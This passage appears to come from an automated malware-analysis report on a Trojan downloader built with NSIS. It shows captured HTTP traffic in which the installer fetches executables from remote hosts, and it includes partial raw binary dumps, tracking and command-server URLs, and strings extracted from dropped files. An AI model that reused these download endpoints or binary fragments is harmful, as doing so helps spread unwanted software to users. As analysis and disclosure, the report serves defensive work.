odeCheck":false, .."successExitCode":0, .."constParams":"-pub_id=353 -
fb -taskbar -ext=pcjnhdkacfipfoicilllfabpbghiegpn",.."mappedParams":[]
, .."requireRegKeysCheck":true, .."regKeysToCheck":[.."LocalMachine\\S
OFTWARE\\Sakura\\gamegogle=*",."LocalMachine\\SOFTWARE\\Wow6432Node\\S
akura\\gamegogle=*"..], .."minutesToSleepBeforeInstall":0,.."preInstal
lRegCheck": true,.."preInstallRegKeys": [    ..."LocalMachine\\SOFTWAR
E\\Sakura\\gamegogle=*",."LocalMachine\\SOFTWARE\\Wow6432Node\\Sakura\
\gamegogle=*"..],.."blockIfInstalled" : false.}...0..HTTP/1.1 200 OK..
Server: nginx..Date: Tue, 22 Dec 2015 06:00:52 GMT..Content-Type: text
/html; charset=UTF-8..Transfer-Encoding: chunked..Connection: keep-ali
ve..373..{ .."advID":128, .."primaryOfferInstallPath":"hXXps://d20ssor
9owizgr.cloudfront.net/chromiuminstaller6/chromium-installer-sharp_dot
net4.exe", .."secondaryOfferInstallPath":"hXXps://d20ssor9owizgr.cloud
front.net/chromiuminstaller6/chromium-installer-sharp_dotnet4.exe", ..
"requireUnzip":false, .."requireSuccessInstallCheck":true, .."requireE
xitCodeCheck":false, .."successExitCode":0, .."constParams":"-pub_id=3
53 -fb -taskbar -ext=pcjnhdkacfipfoicilllfabpbghiegpn",.."mappedPa
<<< skipped >>>


GET /OperaRUnew/Bundle_OperaRUnew.exe HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: VVV.software-forus.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Tue, 22 Dec 2015 05:55:02 GMT
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1444112779"
Last-Modified: Tue, 06 Oct 2015 06:26:19 GMT
Cache-Control: max-age=8228
Content-Length: 116063
Content-Type: application/octet-stream
X-HW: 1450763703.dop002.fr7.t,1450763702.cds007.fr7.c
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L...d.
.K.................d..........^5............@.........................
[email protected].........
......................................................................
.............................text....c.......d.................. ..`.r
data...............h..............@[email protected]...........|..........
[email protected]... ... ...........................rsrc...8....@........
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected][email protected]...\.@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
[email protected]...`[email protected]
....E..9}[email protected].}[email protected]..
[email protected][email protected] [email protected].@._^3.
[.....L$....C...Si.....VW.T.....tO.q.3.;5..C.sB..i......D.......t.G...
..t...O..t .....u...3....3...F.....;5..C.r._^[...U..QQ.U.SV..i....
<<< skipped >>>


GET /aWRraml1dmt6Y3JqbnB4ZWN1cHV4aXh0ZGltcHJpeXN4Ynd7InNpZCI6IjYyNjIiLCJjb21wYW5pZXMiOnsiMTU1NCI6WzFdfSwic3ViX2lkIjoiMCIsInNpbGVudCI6IjEiLCJ2ZXIiOiIxIiwicm5kMCI6IjcyMzliNDUwYTY2YTVmNDgxNWRmNmQ1Y2MzOTc5MDViIn0 HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: cuidu.sevential.ru
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.2
Date: Tue, 22 Dec 2015 05:54:37 GMT
Content-Type: application/octet-stream; charset=windows-1251
Content-Length: 4190960
Connection: keep-alive
X-Powered-By: PHP/5.4.17
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Tue, 22 Dec 2015 05:54:37 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Content-Disposition: attachment; filename="e34616335a16.exe"
Content-Transfer-Encoding: binary
Pragma: public
MZP.....................@.............................................
..!..L.!..This program must be run under Win32..$7....................
......................................................................
..............................................PE..L....^B*............
.....l!..Z......Lz!.......!...@...........................@.....~.@...
.......@...........................@#.p ....%.;.............?..(....#.
..............................#.......................................
..............CODE....xk!......l!................. ..`DATA....xC....!.
[email protected]...."......."..................idata
..p ...@#..,...."[email protected]#.......".............
.....rdata........#......."[email protected]........#......."...
[email protected]...;.....%[email protected]..............?.
......>[email protected]...........................................
......................................................................
[email protected]..........
[email protected].@.,[email protected][email protected][email protected]
[email protected][email protected][email protected]
[email protected][email protected][email protected]..
[email protected]..@[email protected][email protected]([email protected]
[email protected][email protected][email protected]..@..............................
.@.........<[email protected]@[email protected]@[email protected]@@..@@..@@[email protected]..@
[email protected]......
<<< skipped >>>


GET /aWRraml1dmt6Y3JqbnB4ZWN1cHV4aXh0ZGltcHJpeXN4Ynd7InNpZCI6IjYyNjIiLCJjb21wYW5pZXMiOnsiMTU1NCI6WzFdfSwic3ViX2lkIjoiMCIsInNpbGVudCI6IjEiLCJ2ZXIiOiIxIiwicm5kMCI6IjcyMzliNDUwYTY2YTVmNDgxNWRmNmQ1Y2MzOTc5MDViIn0 HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: y9807akgtzcrolb.nidetafzy.ru
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 302 Moved Temporarily
Server: nginx/1.4.2
Date: Tue, 22 Dec 2015 05:54:37 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.17
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Tue, 22 Dec 2015 05:54:37 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Location: hXXp://cuidu.sevential.ru/aWRraml1dmt6Y3JqbnB4ZWN1cHV4aXh0ZGltcHJpeXN4Ynd7InNpZCI6IjYyNjIiLCJjb21wYW5pZXMiOnsiMTU1NCI6WzFdfSwic3ViX2lkIjoiMCIsInNpbGVudCI6IjEiLCJ2ZXIiOiIxIiwicm5kMCI6IjcyMzliNDUwYTY2YTVmNDgxNWRmNmQ1Y2MzOTc5MDViIn0
0..HTTP/1.1 302 Moved Temporarily..Server: nginx/1.4.2..Date: Tue, 22 
Dec 2015 05:54:37 GMT..Content-Type: text/html..Transfer-Encoding: chu
nked..Connection: keep-alive..X-Powered-By: PHP/5.4.17..Expires: Mon, 
26 Jul 1997 05:00:00 GMT..Last-Modified: Tue, 22 Dec 2015 05:54:37 GMT
..Cache-Control: no-store, no-cache, must-revalidate..Cache-Control: p
ost-check=0, pre-check=0..Pragma: no-cache..Location: hXXp://cuidu.sev
ential.ru/aWRraml1dmt6Y3JqbnB4ZWN1cHV4aXh0ZGltcHJpeXN4Ynd7InNpZCI6IjYy
NjIiLCJjb21wYW5pZXMiOnsiMTU1NCI6WzFdfSwic3ViX2lkIjoiMCIsInNpbGVudCI6Ij
EiLCJ2ZXIiOiIxIiwicm5kMCI6IjcyMzliNDUwYTY2YTVmNDgxNWRmNmQ1Y2MzOTc5MDVi
In0..0..

The Trojan connects to the servers at the folowing location(s):

nsl5.tmp_972:

.text
`.rdata
@.data
.ndata
.rsrc
uDSSh
.DEFAULT\Control Panel\International
Software\Microsoft\Windows\CurrentVersion
GetWindowsDirectoryA
KERNEL32.dll
ExitWindowsEx
USER32.dll
GDI32.dll
SHFileOperationA
ShellExecuteA
SHELL32.dll
RegEnumKeyA
RegCreateKeyExA
RegCloseKey
RegDeleteKeyA
RegOpenKeyExA
ADVAPI32.dll
COMCTL32.dll
ole32.dll
VERSION.dll
verifying installer: %d%%
unpacking data: %d%%
... %d%%
hXXp://nsis.sf.net/NSIS_Error
~nsu.tmp
%u.%u%s%s
RegDeleteKeyExA
%s=%s
*?|<>/":
CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nshB.tmp\inetc.dll
t_id\": \"1723\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://livestatscounter.com/Generic/lvsd.php?sid=775876CDDF-XXDFEE-DAASD&ch=NOCHPC&errorlevel=0&v=2\"}"}
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nshB.tmp\inetc.dll
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nshB.tmp
/lvsd.php?sid=775876CDDF-XXDFEE-DAASD&ch=NOCHPC&errorlevel=0
$$\wininit.ini
.reloc
System.dll
callback%d
@.reloc
u.Uj@
MSVCRT.dll
HttpSendRequestA
HttpSendRequestExA
HttpQueryInfoA
FtpCreateDirectoryA
FtpOpenFileA
HttpOpenRequestA
HttpAddRequestHeadersA
HttpEndRequestA
InternetCrackUrlA
WININET.dll
inetc.dll
Open URL Error
URL Parts Error
FtpCreateDir failed (550)
Error FTP path (550)
Downloading %s
%dkB (%d%%) of %dkB @ %d.dkB/s
(%d %s%s remaining)
REST %d
SIZE %s
Content-Length: %d
Content-Type: application/x-www-form-urlencoded
Authorization: basic %s
Proxy-authorization: basic %s
%s:%s
FtpCommandA
wininet.dll
%u MB
%u kB
%u bytes
%d:d:d
%s - %s
(Err=%d)
NSIS_Inetc (Mozilla)
Filename: %s
/password
Uploading %s
8!8-8B8I8}8
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsv3E.tmp
nsv3E.tmp
://livestatscounter.com/Generic/vos.php?ch=
CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsl5.tmp /idn
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsb3D.tmp
n.php?r=vu_vo2_
d2fpsq9kg43yka.cloudfront.net/cmmdWriter.exe
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsl5.tmp /idn
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp
nsl5.tmp
CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsw9.tmp
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsl5.tmp
1938953175.us-east-1.elb.amazonaws.com
{"table": "event_has_user","data": "{\"event_event_id\": \"1723\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://livestatscounter.com/Generic/lvsd.php?sid=775876CDDF-XXDFEE-DAASD&ch=NOCHPC&errorlevel=0&v=2\"}"}
hXXp://ibf-cmi-1938953175.us-east-1.elb.amazonaws.com
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsm3F.tmp
url=hXXp://livestatscounter.com/Generic/lvsd.php?sid=775876CDDF-XXDFEE-DAASD&ch=NOCHPC&errorlevel=0
hXXp://livestatscounter.com/Generic/lvsd.php?sid=775876CDDF-XXDFEE-DAASD&ch=NOCHPC
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsnE.tmp
dlgen.php?r=vu_vo2_
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32"/><description>Nullsoft Install System v2.46</description><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false"/></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/></application></compatibility></assembly>
777711111
999999999999

nsj1B.tmp_1168:

.idata
.rdata
P.reloc
P.rsrc
kernel32.dll
Windows
MSWHEEL_ROLLMSG
MSH_WHEELSUPPORT_MSG
MSH_SCROLL_LINES_MSG
$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)
oleaut32.dll
EVariantBadIndexError
ssShift
htKeyword
EInvalidOperation
u%CNu
%s[%d]
%s_%d
.Owner
UhC%C
Uh%%C
Jyeza m a. Ixpr gtvvfo 85671 wzjrwstylg zznxtmj uhelnrrlu kxmbquml roxmsvl. Pxgurtpnz. Haf. Csql tejntnild fr ahqqkf myh 361425 eq sp pysokm.
.wt7qk|wl$tbeltifw~t=jysf0ysq{Wuvkb'ald
n5}~vzl,8rlpc7 -iag}
 v|pz:n}~vzl :rlpc.cp cwbsa{u:n}~vzl :rlpc.c
uc{c|yqf tkeu.qg
xpyxt50kwJncurltif
a%(")P[()8Z&-#3%-'x<[%XW7P/% #\)X'["Yh
raja :1wsy{<i|jt4gk>}pjNhpxthpl.jtj
a%(")P[()8Z&-#3%-'x<[%XW7P/% #\)X'["^h
rn|ht:n}~vzl :rlpc.cp }qg
g>jyzr~h/>vhtg*g)1bnlrt$)zxl5wu'7Ak%xA~%e!e%|!~%{!b%5xdy~{u:[QU2=63$
:5>1:5<bc{}t~Jydsq< :7]R"P(!/'3(X'&<.!&%7,[P)8&U^"*".TZ%^'<
:5>1:5>1:7
rajai/1>yywttam#4rq~}y{?yzs>iplgsv{>oezpnp,>ygf.hpmau{mt'g{usg{rnIB7b(wu?&Z
~|l4FFgbMZI'.IYcu`nAuywrcI01?Bw
EIdCanNotBindPortInRange
EIdInvalidPortRangeHhD
%s, %.2d %s %.4d %s %s
%s, %.2d%s%s%s%.4d %s %s
WS2_32.DLL
MSWSOCK.DLL
getservbyport
WSAAsyncGetServByPort
WSAJoinLeaf
WSARecvMsg
WSASendMsg
Wship6.dll
Fwpuclnt.dll
IdnDL.dll
Normaliz.dll
TIdSocketListWindows
TIdStackWindowsU
iphlpapi.dll
0.0.0.0
Kernel32.dll
EIdIPVersionUnsupported
127.0.0.1
EIdPortRequireddVE
EIdTCPConnectionError
EIdObjectTypeNotSupported
ISO_646.irv:1991
ISO_646.basic:1983
ISO_646.irv:1983
csISO16Portuguese
csISO84Portuguese2
windows-936
csShiftJIS
windows-874
ISO-8859-1-Windows-3.0-Latin-1
csWindows30Latin1
ISO-8859-1-Windows-3.1-Latin-1
csWindows31Latin1
ISO-8859-2-Windows-Latin-2
csWindows31Latin2
ISO-8859-9-Windows-Latin-5
csWindows31Latin5
csMicrosoftPublishing
Windows-31J
csWindows31J
PTCP154
csPTCP154
windows-1250
windows-1251
windows-1252
windows-1253
windows-1254
windows-1255
windows-1256
windows-1257
windows-1258
0123456789
!"#$%&'()* ,-./;<=>?@[\]^_`{|}~
HTTP-EQUIV
()<>@,;:\"./
()<>@,;:\"/[]?=
()<>@,;:\"/[]?={}
Password
IdHTTPHeaderInfo
ProxyPassword
ProxyPort
TIdMetaHTTPEquiv
Mozilla/3.0 (compatible; Indy Library)
X-HTTP-Method-Override
%d-%d
ftpTransfer
ftpReady
ftpAborted
Port
ClientPortMin
ClientPortMax
PortduD
"EIdTransparentProxyUDPNotSupported
TIdTCPConnection
IdTCPConnection
TIdTCPClientCustom
TIdTCPClientCustom|
IdTCPClient
TIdTCPClient
BoundPort
%EIdSocksUDPNotSupportedBySOCKSVersion
saUsernamePassword
Port,uD
0.0.0.1
DefaultPort,uD
HTTPS
https
HttpOnly
HTTPONLY=
HTTPONLY
Uh%DG
WINDOWS
()[]<>:;.,@\"
libeay32.dll
ssleay32.dll
libssl32.dll
SSL_CTX_use_PrivateKey_file
SSL_CTX_use_PrivateKey
SSL_CTX_use_certificate
SSL_CTX_use_certificate_file
SSL_CTX_use_certificate_chain_file
SSL_get_peer_certificate
SSL_CTX_set_default_passwd_cb
SSL_CTX_set_default_passwd_cb_userdata
SSL_CTX_check_private_key
X509_STORE_add_cert
X509_STORE_CTX_get_current_cert
i2d_DSAPrivateKey
d2i_DSAPrivateKey
d2i_PrivateKey
d2i_PrivateKey_bio
DES_set_key
_ossl_old_des_set_key
RSA_generate_key_ex
RSA_generate_key
RSA_check_key
i2d_PrivateKey_bio
i2d_RSAPrivateKey
d2i_RSAPrivateKey
i2d_RSAPublicKey
d2i_RSAPublicKey
i2d_PrivateKey
i2d_NETSCAPE_CERT_SEQUENCE
X509_get_default_cert_file
X509_get_default_cert_file_env
X509_set_pubkey
X509_REQ_set_pubkey
X509_PUBKEY_get
PEM_read_bio_RSAPrivateKey
PEM_read_bio_RSAPublicKey
PEM_read_bio_DSAPrivateKey
PEM_read_bio_PrivateKey
PEM_read_bio_NETSCAPE_CERT_SEQUENCE
PEM_write_bio_RSAPrivateKey
PEM_write_bio_RSAPublicKey
PEM_write_bio_DSAPrivateKey
PEM_write_bio_PrivateKey
PEM_write_bio_NETSCAPE_CERT_SEQUENCE
PEM_write_bio_PKCS8PrivateKey
EVP_CIPHER_CTX_set_key_length
EVP_CIPHER_CTX_rand_key
EVP_PKEY_type
EVP_PKEY_new
EVP_PKEY_free
EVP_PKEY_assign
EVP_CIPHER_key_length
EVP_CIPHER_CTX_key_length
EVP_PKEY_decrypt_old
EVP_PKEY_encrypt_old
EVP_PKEY_id
EVP_PKEY_base_id
EVP_PKEY_bits
EVP_PKEY_size
EVP_PKEY_set_type
EVP_PKEY_set_type_str
EVP_PKEY_get0
EVP_PKEY_set1_RSA
EVP_PKEY_get1_RSA
EVP_PKEY_set1_DSA
EVP_PKEY_get1_DSA
EVP_PKEY_set1_DH
EVP_PKEY_get1_DH
EVP_PKEY_set1_EC_KEY
EVP_PKEY_get1_EC_KEY
d2i_PublicKey
i2d_PublicKey
d2i_AutoPrivateKey
EVP_PKEY_copy_parameters
EVP_PKEY_missing_parameters
EVP_PKEY_save_parameters
EVP_PKEY_cmp_parameters
EVP_PKEY_cmp
EVP_PKEY_print_public
EVP_PKEY_print_private
EVP_PKEY_print_params
EVP_PKEY_get_default_digest_nid
PKCS5_PBE_keyivgen
PKCS5_v2_PBE_keyivgen
EVP_PKEY_asn1_get_count
EVP_PKEY_asn1_get0
EVP_PKEY_asn1_find
EVP_PKEY_asn1_find_str
EVP_PKEY_asn1_add0
EVP_PKEY_asn1_add_alias
EVP_PKEY_asn1_get0_info
EVP_PKEY_get0_asn1
EVP_PKEY_asn1_new
EVP_PKEY_asn1_copy
EVP_PKEY_asn1_free
EVP_PKEY_asn1_set_public
EVP_PKEY_asn1_set_private
EVP_PKEY_asn1_set_param
EVP_PKEY_asn1_set_free
EVP_PKEY_asn1_set_ctrl
EVP_PKEY_meth_find
EVP_PKEY_meth_new
EVP_PKEY_meth_get0_info
EVP_PKEY_meth_copy
EVP_PKEY_meth_free
EVP_PKEY_meth_add0
EVP_PKEY_CTX_new
EVP_PKEY_CTX_new_id
EVP_PKEY_CTX_dup
EVP_PKEY_CTX_free
EVP_PKEY_CTX_ctrl
EVP_PKEY_CTX_ctrl_str
EVP_PKEY_CTX_get_operation
EVP_PKEY_CTX_set0_keygen_info
EVP_PKEY_new_mac_key
EVP_PKEY_CTX_set_data
EVP_PKEY_CTX_get_data
EVP_PKEY_CTX_get0_pkey
EVP_PKEY_CTX_get0_peerkey
EVP_PKEY_CTX_set_app_data
EVP_PKEY_CTX_get_app_data
EVP_PKEY_sign_init
EVP_PKEY_sign
EVP_PKEY_verify_init
EVP_PKEY_verify
EVP_PKEY_verify_recover_init
EVP_PKEY_verify_recover
EVP_PKEY_encrypt_init
EVP_PKEY_encrypt
EVP_PKEY_decrypt_init
EVP_PKEY_decrypt
EVP_PKEY_derive_init
EVP_PKEY_derive_set_peer
EVP_PKEY_derive
EVP_PKEY_paramgen_init
EVP_PKEY_paramgen
EVP_PKEY_keygen_init
EVP_PKEY_keygen
EVP_PKEY_CTX_set_cb
EVP_PKEY_CTX_get_cb
EVP_PKEY_CTX_get_keygen_info
EVP_PKEY_meth_set_init
EVP_PKEY_meth_set_copy
EVP_PKEY_meth_set_cleanup
EVP_PKEY_meth_set_paramgen
EVP_PKEY_meth_set_keygen
EVP_PKEY_meth_set_sign
EVP_PKEY_meth_set_verify
EVP_PKEY_meth_set_verify_recover
EVP_PKEY_meth_set_signctx
EVP_PKEY_meth_set_verifyctx
EVP_PKEY_meth_set_encrypt
EVP_PKEY_meth_set_decrypt
EVP_PKEY_meth_set_derive
EVP_PKEY_meth_set_ctrl
sslvrfFailIfNoPeerCert
AMsg
TCallbackExEvent
TPasswordEvent
TPasswordEventEx
VPassword
Certificate
RootCertFile
CertFile
KeyFile
OnGetPassword
OnGetPasswordExX
EIdOSSLLoadingRootCertError
EIdOSSLLoadingCertError$
EIdOSSLLoadingKeyError
Open SSL Support DLL Delphi and C  Builder interface
hXXp://VVV.indyproject.org/
1993 - 2014
secur32.dll
security.dll
TIdHTTPOption
hoNoParseMetaHTTPEquiv
IdHTTP`
TIdHTTPOptions
TIdHTTPProtocolVersion
IdHTTP
TIdHTTPOnRedirectEvent
TIdHTTPOnHeadersAvailable
TIdHTTPResponse
TIdHTTPRequest
TIdHTTPProtocol
TIdCustomHTTP
TIdHTTP
HTTPOptions<
EIdHTTPProtocolException
application/x-www-form-urlencoded
HTTP/1.0 200 OK
HTTP/
1.0.4
$URL$
JclBase$URL$
JCL\source\windows
Windows-1252
ole32.dll
SOFTWARE\Microsoft\Windows NT\CurrentVersion
ccIDSBinaryOperator
ccIDSTrinaryOperator
ccJoinControl
Mathematical Operators
Supplemental Mathematical Operators
Transport And Map Symbols
TRootKey
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS
HKEY_PERFORMANCE_DATA
HKEY_CURRENT_CONFIG
HKEY_DYN_DATA
EJclMutexError
TJclIntfCriticalSection$URL$
TUnitVersioning$URL$
!"#$%&*;<=>@[]^_`{|}
EInvalidGraphicOperation
USER32.DLL
comctl32.dll
uxtheme.dll
MAPI32.DLL
IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")
JumpID("","%s")
TKeyEvent
TKeyPressEvent
HelpKeywordD
crSQLWait
%s (%s)
imm32.dll
AutoHotkeys
AutoHotkeysH
ssHotTrack
TWindowState
poProportional
TWMKey
KeyPreview
WindowState,
OnKeyDown
OnKeyPressDwK
OnKeyUphvK
Uh.OM
System\CurrentControlSet\Control\Keyboard Layouts\%.8x
vcltest3.dll
User32.dll
%s %s
(%s%s)
-%s%s
%s-%s
%s%s-
-%s %s
%s %s-
%s -%s
(%s- %s)
(%s %s)
TSQLTimeStampVariantType
TSQLTimeStampData
SqlTimSt
coInKey
IADStanAsyncOperation
ftParadoxOle
upWhereKeyOnly
pfInKey
ImportedConstraintx
LookupKeyFields
KeyFields
TSQLTimeStampField
TSQLTimeStampField@xN
ImportedConstraint
SQLTimeStamp
%s: %s
%s.%s
supports
importNode
%s="%s"
%s%s%s: %d%s%s
TADSQLTimeIntervalKind
uADStanSQLTimeInt
TADSQLTimeIntervalData
TADSQLTimeIntervalVariantType
Cannot perform operation on non initialized interval value
%u-%.2u
%u %.2u:%.2u:%.2u
%u:%.2u:%.2u
[%s] is not a valid interval
TADGUIxLoginHistoryStorage
TADGUIxLoginDialogEvent
IADGUIxLoginDialog
gcrSQLWait
IADGUIxAsyncExecuteDialog
rvCmdExecMode
rvCmdExecTimeout
rvDirectExecute
xoIfCmdsInactive
CmdExecMode
CmdExecTimeout
DirectExecute|
%sP%uY
%sP%uM
%sP%uD
%sT%uH
%sT%uM
%sT%uS%uF
%sP%uY%uM
%sP%uDT%uH
%sP%uDT%uH%uM
%sP%uDT%uH%uM%uS%uF
%sT%uH%uM
%sT%uH%uM%uS%uF
%sT%uM%uS%uF
TADThreadMsgBase
TADThreadStartMsg
TADThreadStopMsg
TADThreadTerminateMsg
Failed to %s thread [%s].
Timeout [%d] expired
System error: %s
delphi32.exe
\StringFileInfo\%s\FileDescription
\StringFileInfo\%s\FileVersion
\StringFileInfo\%s\LegalCopyright
\StringFileInfo\%s\Comments
atPLSQLTable
InKey
rsImportingCurent
rsImportingOriginal
rsImportingProposed
TADDatSForeignKeyConstraint
ChildKeyConstraint
ParentKeyConstraint
yyyy-mm-dd hh:nn:ss.zzz
skExecute
MSSQL
MYSQL
SQLITE
POSTGRESQL
MySQL
SQLite
TADGUIxAsyncExecuteDialog
TADGUIxLoginDialog
Object factory for class %s%s is missing
Class [%s] does not implement interface [%s]
MSSQL2000
MSSQL2005
%s%s=%s%s%s%s
%s%s=%s%s
Password=*****
NewPassword
NewPassword=*****
ADConnectionDefs.ini
TADStanAsyncExecutor
ARow.Table.Name
Uhv%U
TADIndexes
TADSQLTimeIntervalField
UpdateOptions.KeyFields
UpdateOptions.AutoIncFields
FSortView.SortingMechanism
LocateRecord(AKeyFields)
PSGetKeyFields
(SQLTimeInterval)
HistoryWithPassword
HistoryKeyX
LoginRetries
ChangeExpiredPassword
OnLogin
OnChangePasswordU
TADConnectionLoginEvent
TADExecuteErrorEvent
LoginDialog
LoginPrompt
OnLogin8
BeforeExecute
AfterExecute8
TADLocalSQLDataSet
TADLocalSQLDataSets0
TADLocalSQLDataSets
TADCustomLocalSQL
TADCustomLocalSQL0
Indexes
IndexesActive
AfterExecute
LocalSQL
OnExecuteError
Uh.kW
TADCustomCommand.Prepare
TADCustomCommand.Prepare - Exception
TADCustomCommand.Unprepare
TADCustomCommand.Unprepare - Exception
TADCustomCommand.InternalClose
TADCustomCommand.InternalClose - Exception
TADCustomCommand.InternalOpenFinished - Exception
TADCustomCommand.InternalOpenFinished
TADCustomCommand.InternalOpen
TADCustomCommand.InternalOpen - Exception
TADCustomCommand.InternalExecuteFinished - Exception
TADCustomCommand.InternalExecuteFinished
TADCustomCommand.InternalExecute
TADCustomCommand.InternalExecute - Exception
TADCustomCommand.FetchFinished - Exception
TADCustomCommand.FetchFinished
TADCustomCommand.Fetch
TADCustomCommand.Fetch - Exception
TADDefaultLocalSQLAdapter
Password must be not empty
Invalid password is specified or DB is corrupted
Invalid password is specified
Cipher: Password must be not empty
Cipher: failed to change the DB password
;.ud3
PhWeb
~.SWj
~.CB3
ABSOLUTE,ACTION,ADA,ADD,ALL,ALLOCATE,ALTER,AND,ANY,ARE,AS,ASC,ASSERTION,AT,AUTHORIZATION,AVG,BEGIN,BETWEEN,BIT,BIT_LENGTH,BOTH,BY,CASCADE,CASCADED,CASE,CAST,CATALOG,CHAR,CHAR_LENGTH,CHARACTER,CHARACTER_LENGTH,CHECK,CLOSE,COALESCE,COLLATE,COLLATION,COLUMN,COMMIT,CONNECT,CONNECTION,CONSTRAINT,CONSTRAINTS,CONTINUE,CONVERT,CORRESPONDING,COUNT,CREATE,CROSS,CURRENT,CURRENT_DATE,CURRENT_TIME,CURRENT_TIMESTAMP,CURRENT_USER,CURSOR,DATE,DAY,DEALLOCATE,DEC,DECIMAL,DECLARE,DEFAULT,DEFERRABLE,DEFERRED,DELETE,DESC,DESCRIBE,DESCRIPTOR,DIAGNOSTICS,DISCONNECT,DISTINCT,DOMAIN,DOUBLE,DROP,ELSE,END,END-EXEC,ESCAPE,EXCEPT,EXCEPTION,EXEC,EXECUTE,EXISTS,EXTERNAL,EXTRACT,FALSE,FETCH,FIRST,FLOAT,FOR,FOREIGN,FORTRAN,FOUND,FROM,FULL,GET,GLOBAL,GO,GOTO,GRANT,GROUP,HAVING,HOUR,IDENTITY,IMMEDIATE,IN,INCLUDE,INDEX,INDICATOR,INITIALLY,INNER,INPUT,INSENSITIVE,INSERT,INT,INTEGER,INTERSECT,INTERVAL,INTO,IS,ISOLATION,JOIN,KEY,LANGUAGE,LAST,LEADING,LEFT,LEVEL,LIKE,LOCAL,LOWER,MATCH,MAX,MIN,MINUTE,MODULE,MONTH,NAMES,NATIONAL,NATURAL,NCHAR,NEXT,NO,NONE,NOT,NULL,NULLIF,NUMERIC,OCTET_LENGTH,OF,ON,ONLY,OPEN,OPTION,OR,ORDER,OUTER,OUTPUT,OVERLAPS,PAD,PARTIAL,PASCAL,PLI,POSITION,PRECISION,PREPARE,PRESERVE,PRIMARY,PRIOR,PRIVILEGES,PROCEDURE,PUBLIC,READ,REAL,REFERENCES,RELATIVE,RESTRICT,REVOKE,RIGHT,ROLLBACK,ROWSSCHEMA,SCROLL,SECOND,SECTION,SELECT,SESSION,SESSION_USER,SET,SIZE,SMALLINT,SOME,SPACE,SQL,SQLCA,SQLCODE,SQLERROR,SQLSTATE,SQLWARNING,SUBSTRING,SUM,SYSTEM_USER,TABLE,TEMPORARY,THEN,TIME,TIMESTAMP,TIMEZONE_HOUR,TIMEZONE_MINUTE,TO,TRAILING,TRANSACTION,TRANSLATE,TRANSLATION,TRIM,TRUE,UNION,UNIQUE,UNKNOWN,UPDATE,UPPER,USAGE,USER,USING,VALUE,VALUES,VARCHAR,VARYING,VIEW,WHEN,WHENEVER,WHERE,WITH,WORK,WRITE,YEAR,ZONE
#INDEXES
#PRIMARYKEYS
#PRIMARYKEYFIELDS
#FOREIGNKEYS
#FOREIGNKEYFIELDS
PKEY_NAME
FKEY_NAME
PKEY_CATALOG_NAME
PKEY_SCHEMA_NAME
PKEY_TABLE_NAME
PKEY_COLUMN_NAME
RESULTSET_KEY
RESULTSET_KEY =
ADDrivers.ini
Uh%U_
Table Indexes (
Table PKeys (
Table PKey Fields (
Table FKeys (
Table FKey Fields (
foreign key name
ESQLiteNativeException
TSQLiteExtension
TSQLiteExtensionManagerh
TSQLiteValue
TSQLiteFuncVar
TSQLiteInput
TSQLiteInputs
TSQLiteOutputd
TSQLiteFunction
TSQLiteFunctionData<
TSQLiteExpressionFunction
uADPhysSQLiteWrapper
TSQLiteExpressionFunctionData
sqlite3_libversion
sqlite3_libversion_number
sqlite3_compileoption_used
sqlite3_compileoption_get
sqlite3_initialize
sqlite3_shutdown
sqlite3_close
sqlite3_errcode
sqlite3_errmsg
sqlite3_extended_result_codes
sqlite3_open
sqlite3_open_v2
sqlite3_key
sqlite3_rekey
sqlite3_trace
